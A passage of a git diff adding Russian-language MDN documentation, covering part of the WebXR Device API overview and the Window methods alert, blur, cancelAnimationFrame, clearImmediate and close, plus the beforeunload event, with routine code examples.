+<p>At the most basic level, a scene is presented in 3D by computing the perspective to apply to the scene in order to render it from the viewpoint of each of the user's eyes by computing the position of each eye and rendering the scene from that position, looking in the direction the user is currently facing. Each of these two images is rendered into a single framebuffer, with the left eye's rendered image on the left and the right eye's viewpoint rendered into the right half of the buffer. Once both eyes' perspectives on the scene have been rendered, the resulting framebuffer is delivered to the WebXR device to be presented to the user through their headset or other appropriate display device.</p>
+
+<h2 id="WebXR_Device_API_concepts_and_usage">WebXR Device API concepts and usage</h2>
+
+<figure style="background: #eee; padding: 0.5em; border: 1px solid #aaa; border-radius: 1em; max-width: 20em; margin-bottom: 1em; margin-right: 2em; float: left;">
+<figcaption><strong>Example WebXR hardware setup</strong></figcaption>
+<img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labeled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png"></figure>
+
+<p>While the older <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> was designed solely to support Virtual Reality (VR), WebXR provides support for both VR and Augmented Reality (AR) on the web. Support for AR functionality is added by the WebXR Augmented Reality Module.</p>
+
+<p>A typical XR device can have either 3 or 6 degrees of freedom and might or might not have an external positional sensor.</p>
+
+<p>The equipment may also include an accelerometer, barometer, or other sensors which are used to sense when the user moves through space, rotates their head, or the like.</p>
+
+<h2 id="Accessing_the_WebXR_API">Accessing the WebXR API</h2>
+
+<p>To gain access to the WebXR API within the context of a given window, use the {{domxref("navigator.xr")}} property, which returns an {{domxref("XRSystem")}} object through which the entire WebXR Device APi is then exposed.</p>
+
+<dl>
+ <dt>{{domxref("navigator.xr")}} {{ReadOnlyInline}}</dt>
+ <dd>This property, added to the {{domxref("Navigator")}} interface, returns the {{domxref("XRSystem")}} object through which the WebXR API is exposed. If this property is missing or <code>null</code>, WebXR is not available.</dd>
+</dl>
+
+<h2 id="Интерфейсы_WebXR">Интерфейсы WebXR</h2>
+
+<dl>
+ <dt>{{DOMxRef("XR")}}</dt>
+ <dd>The {{domxref("Navigator.xr", "navigator.xr")}} property returns the window's instance of {{domxref("XRSystem")}}, which is the mechanism by which your code accesses the WebXR API. Using the <code>XRSystem</code> interface, you can create {{domxref("XRSession")}}s to represent actual AR and/or VR sessions.</dd>
+ <dt>{{DOMxRef("XRFrame")}}</dt>
+ <dd>While presenting an XR session, the state of all tracked objects which make up the session are represented by an <code>XRFrame</code>. To get an <code>XRFrame</code>, call the session's {{domxref("XRSession.requestAnimationFrame", "requestAnimationFrame()")}} method, providing a callback which will be called with the <code>XRFrame</code> once available. Events which communicate tracking states will also use <code>XRFrame</code> to contain that information.</dd>
+ <dt>{{DOMxRef("XRRenderState")}}</dt>
+ <dd>Provides a set of configurable properties which change how the imagery output by an <code>XRSession</code> is composited.</dd>
+ <dt>{{DOMxRef("XRSession")}}</dt>
+ <dd>Provides the interface for interacting with XR hardware. Once an <code>XRSession</code> is obtained from {{domxref("XRSystem.requestSession", "navigator.xr.requestSession()")}}, the session can be used to check the position and orientation of the viewer, query the device for environment information, and present the virtual or augmented world to the user.</dd>
+ <dt>{{DOMxRef("XRSpace")}}</dt>
+ <dd><code>XRSpace</code> is an opaque base class on which all virtual coordinate system interfaces are based. Positions in WebXR are always expressed in relation to a particular <code>XRSpace</code> at the time at which a particular {{domxref("XFrame")}} takes place. The space's coordinate system has its origin at the a given physical position.</dd>
+ <dt>{{DOMxRef("XRReferenceSpace")}}</dt>
+ <dd>A subclass of {{domxref("XRSpace")}} which is used to identify a spatial relationship in relation to the user's physical environment. The <code>XRReferenceSpace</code> coordinate system is expected to remain unchanged through the lifespan of the {{domxref("XRSession")}}.The world has no boundaries and extends infinitely in every direction.</dd>
+ <dt>{{DOMxRef("XRBoundedReferenceSpace")}}</dt>
+ <dd><code>XRBoundedReferenceSpace</code> extends the {{domxref("XRReferenceSpace")}} coordinate system to further include support for a finite world with set boundaries. Unlike <code>XRReferenceSpace</code>, the origin must be located on the floor (that is, <em>y</em> = 0 at the floor). The x and z components of the origin are typically presumed to be located at or near the center of the room or surface.</dd>
+ <dt>{{DOMxRef("XRView")}}</dt>
+ <dd>Represents a single view into the XR scene for a particular frame. Each <code>XRView</code> corresponds to the video display surface used to present the scene to the user. For example, a given XR device might have two views: one for the left eye and one for the right. Each view has an offset used to shift the position of the view relative to the camera, in order to allow for creating stereographic effects.</dd>
+ <dt>{{DOMxRef("XRViewport")}}</dt>
+ <dd>Describes a viewport. A viewport is a rectangular portion of a graphic surface. In WebXR, a viewport represents the area of a drawing surface corresponding to a particular {{domxref("XRView")}}, such as the portion of the WebGL framebuffer used to render one of the two eyes' perspectives on the scene.</dd>
+ <dt>{{DOMxRef("XRRigidTransform")}}</dt>
+ <dd>A transform defined using a position and orientation in the virtual space's coordinate system as described by the {{domxref("XRSpace")}}.</dd>
+ <dt>{{DOMxRef("XRPose")}}</dt>
+ <dd>Describes a position and orientation in space relative to an {{domxref("XRSpace")}}.</dd>
+ <dt>{{DOMxRef("XRViewerPose")}}</dt>
+ <dd>Based on {{domxref("XRPose")}}, <code>XRViewerPose</code> specifies the state of a viewer of the WebXR scene as indicated by the XR device. Included is an array of {{domxref("XRView")}} objects, each representing one perspective on the scene. For example, it takes two views to create the stereoscopic view as perceived by human vision—one for the left eye and a second for the right eye. One view is offset to the left slightly from the viewer's position, and the other view is offset to the right by the same distance. The view list can also be used to represent the perspectives of each of the spectators of a scene, in a multi-user environment.</dd>
+ <dt>{{DOMxRef("XRInputSource")}}</dt>
+ <dd>Represents any input device the user can use to perform targeted actions within the same virtual space as the viewer. Input sources may include devices such as hand controllers, optical tracking systems, and other devices which are explicitly associated with the XR device. Other input devices such as keyboards, mice, and gamepads are not presented as <code>XRInputSource</code> instances.</dd>
+ <dt>{{DOMxRef("XRWebGLLayer")}}</dt>
+ <dd>A layer which serves as a <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> frame buffer into which a scene's view is rendered. Using WebGL to render the scene gains substantial performance benefits due to graphics acceleration.</dd>
+</dl>
+
+<h3 id="Интерфейсы_событий_WebXR">Интерфейсы событий WebXR</h3>
+
+<p>Следующие интерфейсы представляют события WebXR API.</p>
+
+<dl>
+ <dt>{{domxref("XRInputSourceEvent")}}</dt>
+ <dd>Sent when the state of an {{domxref("XRInputSource")}} changes. This can happen, for example, when the position and/or orientation of the device changes, or when buttons are pressed or released.</dd>
+ <dt>{{domxref("XRInputSourcesChangeEvent")}}</dt>
+ <dd>Sent to indicate that the set of available input sources has changed for the {{domxref("XRSession")}}.</dd>
+ <dt>{{domxref("XRReferenceSpaceEvent")}}</dt>
+ <dd>Sent when the state of an {{domxref("XRReferenceSpace")}} changes.</dd>
+ <dt>{{domxref("XRSessionEvent")}}</dt>
+ <dd>Sent to indicate that the state of an {{domxref("XRSession")}} has changed. For example, if the position and/or orient</dd>
+</dl>
+
+<h2 id="Расширения_к_WebGL_API">Расширения к WebGL API</h2>
+
+<p>WebGL API расширяется спецификацией WebXR для того, чтобы дополнить контекст WebGL, чтобы с помощью него можно было отрисовывать изображение для отображения на устройствах WebXR.</p>
+
+<dl>
+ <dt>{{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}</dt>
+ <dd>Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как <code>true</code>, необходимо вызвать метод <code>makeXRCompatible()</code> до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.</dd>
+</dl>
+
+<h2 id="Руководства_и_уроки">Руководства и уроки</h2>
+
+<p>Следующие руководства и уроки помогут Вам изучить, как работает WebXR и низкоуровневые функции 3D и VR/AR графики.</p>
+
+<h3 id="Основы">Основы</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Fundamentals">Fundamentals of WebXR</a></dt>
+ <dd>Before diving into the details of how to create content using WebXR, it may be helpful to read this overview of the technology, which includes introductions to terminology that may be unfamiliar to you, or which may be used in a new way.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Matrix_math_for_the_web">Matrix math for the web</a></dt>
+ <dd>A guide covering how matrices can be used on the web, including both for CSS transforms and for WebGL purposes, as well as to handle the positioning and orientation of objects in WebXR contexts.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Lifecycle">WebXR application life cycle </a></dt>
+ <dd>An overview of the overall life cycle of a WebXR application, from startup to shutdown. This article serves as an introduction to the basics of what's involved in creating a WebXR experience without diving into the code in detail. It's a good way to prepare for the next steps.</dd>
+</dl>
+
+<h3 id="Создание_приложения_смешанной_реальности">Создание приложения смешанной реальности</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Startup_and_shutdown">Starting up and shutting down a WebXR session</a></dt>
+ <dd>Before actually presenting a scene using an XR device such as a headset or goggles, you need to create a WebXR session bound to a rendering layer that draws the scene for presentation in each of the XR device's displays so that the 3D effect can be presented to the user. This guide covers how to create and stop WebXR sessions.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Geometry">Geometry and reference spaces in WebXR</a></dt>
+ <dd>In this guide, the required concepts of 3D geometry are briefly reviewed, and the fundamentals of how that geometry is represented in WebXR are detailed. Learn how reference spaces are used to position objects—and the viewer—and the differences among the available types of reference space, as well as their use cases.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Spatial_tracking">Spatial tracking in WebXR</a></dt>
+ <dd>This guide describes how objects—including the user's body and its parts—are located in space, and how their movement and orientation relative to one another is monitored and managed over time. This article explains the relationship between spaces, poses, viewers, and views.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Rendering">Rendering and the WebXR frame animation callback</a></dt>
+ <dd>Starting with how you schedule frames to be rendered, this guide then continues to cover how to determine the placement of objects in the view and how to then render them into the WebGL buffer used for each of the two eyes' views of the scene.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Cameras">Viewpoints and viewers: Simulating cameras in WebXR </a></dt>
+ <dd>WebGL (and therefore WebXR) doesn't really have a concept of a camera, which is the traditional concept used to represent a viewpoint in 3D graphics. In this article, we see how to simulate a camera and how to create the illusion of moving a viewer through a world in which the viewer doesn't really move.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Lighting">Lighting a WebXR setting</a></dt>
+ <dd>Since WebXR rendering is based upon WebGL, the same lighting techniques used for any 3D application are applied to WebXR scenes. However, there are issues specific to creating augmented and virtual reality settings that need to be considered when writing your lighting code. This article discusses those issues.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Bounded_reference_spaces">Using bounded reference spaces</a></dt>
+ <dd>In this article, we examine how to use a <code>bounded-floor</code> reference space to define the boundaries of where the viewer can safely move about without leaving the area tracked by their XR hardware or colliding with a physical obstacle. On devices which support it, <code>bounded-floor</code> can be a useful tool in your repertoire.</dd>
+</dl>
+
+<h3 id="Интерактивность">Интерактивность</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Movement_and_motion">Movement, orientation, and motion: A WebXR example</a></dt>
+ <dd>In this example and tutorial, we use information learned throughout the WebXR documentation to create a scene containing a rotating cube which the user can move around using both VR headset and keyboard and mouse.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Inputs">Inputs and input sources</a></dt>
+ <dd>A guide to input sources and how to efficiently manage the input devices being used to control the WebXR session, and how to receive and process user inputs from those devices.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API/Targeting">Targeting and hit detection </a></dt>
+ <dd>How to use an input source's targeting ray mode and targeting ray space to display a targeting ray, identify targeted surfaces or objects, and perform related tasks.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Input_profiles">Using WebXR input profiles</a></dt>
+ <dd>A guide to interpreting the {{Glossary("JSON")}} data provided by the <a href="https://github.com/immersive-web/webxr-input-profiles/tree/master/packages/registry">WebXR Input Profiles Registry</a>, which can be used to determine what options and controls are available on the user's available input devices.</dd>
+ <dt><a href="/en-US/docs/Web/WebXR_Device_API/Gamepads">Supporting advanced controllers and gamepads in WebXR applications</a></dt>
+ <dd>WebXR uses the {{domxref("Gamepad")}} object to describe the controls available on complex input devices (such as hand controllers with multiple buttons and/or axes) and gamepad-like devices. In this guide, learn how to make use of these devices' controls.</dd>
+</dl>
+
+<h3 id="Производительность_и_безопасность">Производительность и безопасность</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Performance">WebXR performance guide</a></dt>
+ <dd>Recommendations and tips to help you optimize the performance of your WebXR application.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_Device_API/Permissions_and_security">Permissions and security for WebXR</a></dt>
+ <dd>The WebXR Device API has several areas of security to contend with, from establishing feature-policy to ensuring the user intends to use the mixed reality presentation before activating it.</dd>
+</dl>
+
+<h3 id="Включение_другого_медиаконтента">Включение другого медиаконтента</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/3D_audio">Positional audio in a 3D environment</a></dt>
+ <dd>In 3D environments, which may either be 3D scenes rendered to the screen or a mixed reality experience experienced using a headset, it's important for audio to be performed so that it sounds like it's coming from the direction of its source. This guide covers how to accomplish this.</dd>
+ <dt><a href="/en-US/docs/Web/Media/3D_video">Playing video in a 3D environment</a></dt>
+ <dd>In this guide, we examine how to play video into a 3D scene. This technique can be used in both standard <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> applications presented on a flat computer screen, or in a <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>-generated virtual or augmented reality environment.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebXR")}}</td>
+   <td>{{Spec2("WebXR")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{Compat("api.Navigator.xr")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Graphics">Graphics on the web</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Web/API/WebGL_API">WebGL API</a>: Accelerated 2D and 3D graphics on the web</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API">Canvas API</a>: 2D drawing for the web</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></li>
+</ul>
diff --git a/files/ru/web/api/window/alert/index.html b/files/ru/web/api/window/alert/index.html
new file mode 100644
index 0000000000..d727f8083a
--- /dev/null
+++ b/files/ru/web/api/window/alert/index.html
@@ -0,0 +1,75 @@
+---
+title: Window.alert()
+slug: Web/API/Window/alert
+translation_of: Web/API/Window/alert
+---
+<p>{{ APIRef }}</p>
+
+<p>Метод <strong><code>Window.alert()</code></strong> показывает диалоговое окно с опциональным (необязательным) сообщением и кнопкой OK.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.alert(<em>message</em>);</pre>
+
+<ul>
+ <li><code>message </code>это опциональная (необязательная) строка текста, которую вы хотите отобразить в диалоговом окне, или же объект, который будет преобразован в строку и отображен.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">window.alert("Hello world!");
+</pre>
+
+<p>покажет:</p>
+
+<p><img alt="Image:AlertHelloWorld.png" src="/files/130/AlertHelloWorld.png"></p>
+
+<h2 id="More_JS" name="More_JS">Больше JS</h2>
+
+<pre class="brush: js">alert();
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Этот диалог следует использовать для сообщений, которые не требуют никакого ответа от пользователя, кроме подтверждения самого сообщения.</p>
+
+<p>Окна сообщений - модальные, они препятствуют получению пользователем доступа к другим частям страницы до тех пор, пока окно не будет закрыто. По этой причине, вам не следует злоупотреблять этой функцией.</p>
+
+<p><span class="comment">The following text is shared between this article, DOM:window.prompt and DOM:window.confirm</span> Пользователи<a href="/en-US/Chrome" title="Chrome"> Mozilla Chrome</a> (например, расширения для Firefox) должны использовать метод {{interface("nsIPromptService")}}.</p>
+
+<p>Начиная с Chrome {{CompatChrome(46.0)}} этот метод заблокирован в {{htmlelement("iframe")}} пока аттрибут sandbox не устанолвлен в значение <code>allow-modal</code>.</p>
+
+<p>{{gecko_minversion_inline("23.0")}} Аргумент является опциональным и необязательным согласно спецификации.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-alert', 'alert()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Window.alert")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("window.confirm","confirm")}}</li>
+ <li>{{domxref("window.prompt","prompt")}}</li>
+ <li>Для информации о <a href="/en-US/docs/Chrome" title="/en-US/docs/Chrome">Mozilla Chrome</a> смотрите {{ifmethod("nsIPromptService","alert")}} и {{ifmethod("nsIPromptService","alertCheck")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html
new file mode 100644
index 0000000000..dfc23da20f
--- /dev/null
+++ b/files/ru/web/api/window/beforeunload_event/index.html
@@ -0,0 +1,100 @@
+---
+title: 'Window: beforeunload event'
+slug: Web/API/Window/beforeunload_event
+translation_of: Web/API/Window/beforeunload_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">Событие <strong>beforeunload </strong>запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Всплываемость</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемость</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс</th>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Свойство обработчика событий</th>
+   <td>{{domxref("WindowEventHandlers/onbeforeunload", "onbeforeunload")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Это событие позволяет веб-странице вызвать диалоговое окно подтверждения, спрашивающее пользователя, действительно ли он хочет покинуть страницу. Если пользователь подтверждает, браузер переходит на новую страницу, в противном случае он отменяет навигацию.</p>
+
+<p>В соответствии со спецификацией, для отображения диалогового окна подтверждения обработчик события должен вызвать{{domxref("Event.preventDefault()", "preventDefault()")}} по событию.</p>
+
+<p>Однако обратите внимание, что не все браузеры поддерживают этот метод, а некоторые требуют от обработчика событий реализации одного из двух старых методов:</p>
+
+<ul>
+ <li>назначение строки свойству returnValue события</li>
+ <li>возвращающий строку из обработчика событий.</li>
+</ul>
+
+<p>Некоторые браузеры используют для отображения возвращаемой строки в диалоге подтверждения, позволяя обработчику события отображать пользователю пользовательское сообщение. Однако это устарело и больше не поддерживается в большинстве браузеров.</p>
+
+<p>Для борьбы с нежелательными всплывающими окнами браузеры могут не отображать подсказки, созданные в обработчиках событий <strong>beforeunload</strong>, за исключением случаев, когда страница была обработана или даже не отображается вообще.</p>
+
+<p>Прикрепление обработчика/слушателя событий к <code>window</code> или <code>document</code>'s <code>beforeunload</code> событие не позволяет браузерам использовать кэш навигации по страницам в памяти, наподобие <a href="/en-US/docs/Mozilla/Firefox/Releases/1.5/Using_Firefox_1.5_caching">Firefox's Back-Forward cache</a> or <a href="https://webkit.org/blog/516/webkit-page-cache-ii-the-unload-event/">WebKit's Page Cache</a>.</p>
+
+<p>В спецификации HTML указано, что вызовы {{domxref("window.alert()")}}, {{domxref("window.confirm()")}}, и {{domxref("window.prompt()")}} методы могут быть проигнорированы во время этого события. Посмотреть <a href="https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#user-prompts" lang="ru">HTML specification</a> для более подробной информации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В HTML-спецификации указано, что авторы должны использовать метод {{domxref("Event.preventDefault()")}}, а не {{domxref("Event.returnValue")}}. Однако, это поддерживается не всеми браузерами.</p>
+
+<pre class="brush: js notranslate">window.addEventListener('beforeunload', (event) =&gt; {
+  // Отмените событие, как указано в стандарте.
+  event.preventDefault();
+  // Хром требует установки возвратного значения.
+  event.returnValue = '';
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("api.Window.beforeunload_event")}}</p>
+
+<p>Смотрите <a href="/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload#Browser_compatibility">WindowEventHandlers/onbeforeunload</a> для получения более подробной информации о том, как различные браузеры обрабатывают это событие.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Related events: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}, {{domxref("Window/unload_event", "unload")}}</li>
+ <li><a href="https://html.spec.whatwg.org/#prompt-to-unload-a-document">Unloading Documents — Prompt to unload a document</a></li>
+ <li><a href="https://developers.google.com/web/updates/2016/04/chrome-51-deprecations?hl=en#remove_custom_messages_in_onbeforeunload_dialogs">Remove Custom Messages in onbeforeload Dialogs after Chrome 51</a></li>
+</ul>
diff --git a/files/ru/web/api/window/blur/index.html b/files/ru/web/api/window/blur/index.html
new file mode 100644
index 0000000000..f5a8f8358a
--- /dev/null
+++ b/files/ru/web/api/window/blur/index.html
@@ -0,0 +1,39 @@
+---
+title: Window.blur()
+slug: Web/API/Window/blur
+translation_of: Web/API/Window/blur
+---
+<p>{{APIRef}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Убирает фокус с окна.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>window.blur()</code></pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.blur();</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Метод window.blur() является программным эквивалентом действия, когда пользователь переключает фокус с текущего окна.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/window/cancelanimationframe/index.html b/files/ru/web/api/window/cancelanimationframe/index.html
new file mode 100644
index 0000000000..897d147ae0
--- /dev/null
+++ b/files/ru/web/api/window/cancelanimationframe/index.html
@@ -0,0 +1,65 @@
+---
+title: window.cancelAnimationFrame()
+slug: Web/API/Window/cancelAnimationFrame
+translation_of: Web/API/Window/cancelAnimationFrame
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>window.cancelAnimationFrame()</strong></code> останавливает анимацию, запланированную с помощью {{domxref("window.requestAnimationFrame()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.cancelAnimationFrame(<em>requestID</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>requestID</code></dt>
+ <dd>Значение, которое возвращает {{domxref("window.requestAnimationFrame()")}} при запросе callback.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame ||
+                            window.webkitRequestAnimationFrame || window.msRequestAnimationFrame;
+
+var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame;
+
+var start = window.mozAnimationStartTime;  // Поддерживается только FF. В других браузерах можно использовать Date.now().
+
+var myReq;
+
+function step(timestamp) {
+  var progress = timestamp - start;
+  d.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress &lt; 2000) {
+    // Важно обновлять requestId при каждом запросе requestAnimationFrame
+    myReq = requestAnimationFrame(step);
+  }
+}
+myReq = requestAnimationFrame(step);
+// остановка с использованием последнего requestId
+cancelAnimationFrame(myReq);
+</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Window.cancelAnimationFrame")}}</p>
+</div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li>{{spec("https://www.w3.org/TR/html51/webappapis.html#animation-frames", "Timing control for script-based animations: cancelAnimationFrame", "WD")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.mozAnimationStartTime")}}</li>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/clearimmediate/index.html b/files/ru/web/api/window/clearimmediate/index.html
new file mode 100644
index 0000000000..b1ac586186
--- /dev/null
+++ b/files/ru/web/api/window/clearimmediate/index.html
@@ -0,0 +1,44 @@
+---
+title: Window.clearImmediate()
+slug: Web/API/Window/clearImmediate
+tags:
+  - API
+  - DOM
+  - метод
+translation_of: Web/API/Window/clearImmediate
+---
+<p>{{ Apiref() }}</p>
+
+<p>Данный метод очищает действие, определённое {{ domxref("window.setImmediate") }}.</p>
+
+<div class="note"><strong>Note:</strong> На текущий момент данный метод находится на стадии предложения на внедрение, не является стандартом и имплементирован только в последних сборках Internet Explorer.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>window.clearImmediate(immediateID)
+</pre>
+
+<p>где immediateID это идентификатор, возвращаемый из {{ domxref("window.setImmediate") }}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>var immediateID = setImmediate(function () {
+  // Выполнение некоего кода
+}
+
+document.getElementById("button").addEventListener(function () {
+  clearImmediate(immediateID);
+}, false);
+</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.clearImmediate")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>{{ domxref("window.setImmediate") }}</p>
+
+<p>{{ spec("https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/setImmediate/Overview.html", "Specification: Efficient Script Yielding") }}</p>
diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html
new file mode 100644
index 0000000000..87d7225262
--- /dev/null
+++ b/files/ru/web/api/window/close/index.html
@@ -0,0 +1,67 @@
+---
+title: Window.close()
+slug: Web/API/Window/close
+translation_of: Web/API/Window/close
+---
+<p>{{APIRef}}</p>
+
+<p>Функция <code><strong>Window.close()</strong></code> закрывает текущее окно или окно, которое было открыто с помощью функции <code><strong>Window.open()</strong></code>.</p>
+
+<p>Этот метод разрешено использовать только для окон, которые были открыты с помощью функции {{domxref("window.open()")}}. Если окно не было открыто посредством JavaScript, в консоли появится ошибка, похожая на эту: <code>Scripts may not close windows that were not opened by script.</code></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.close();</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Closing_a_window_opened_with_window.open.28.29" name="Closing_a_window_opened_with_window.open.28.29">Закрытие окна, открытого с помощью <code>window.open()</code></h3>
+
+<p>В примере показаны два метода, в которых первый из них открывает окно, а второй закрывает; этот пример иллюстрирует как использовать <code>Window.close() для закрытия окна, открытого с помощью функции</code> {{domxref("window.open()")}}.</p>
+
+<pre class="brush: js">// Глобальная переменная, хранящая ссылку на открыток окно
+var openedWindow;
+
+function openWindow() {
+  openedWindow = window.open('moreinfo.htm');
+}
+
+function closeOpenedWindow() {
+  openedWindow.close();
+}
+</pre>
+
+<h3 id="Закрытие_текущего_окна">Закрытие текущего окна</h3>
+
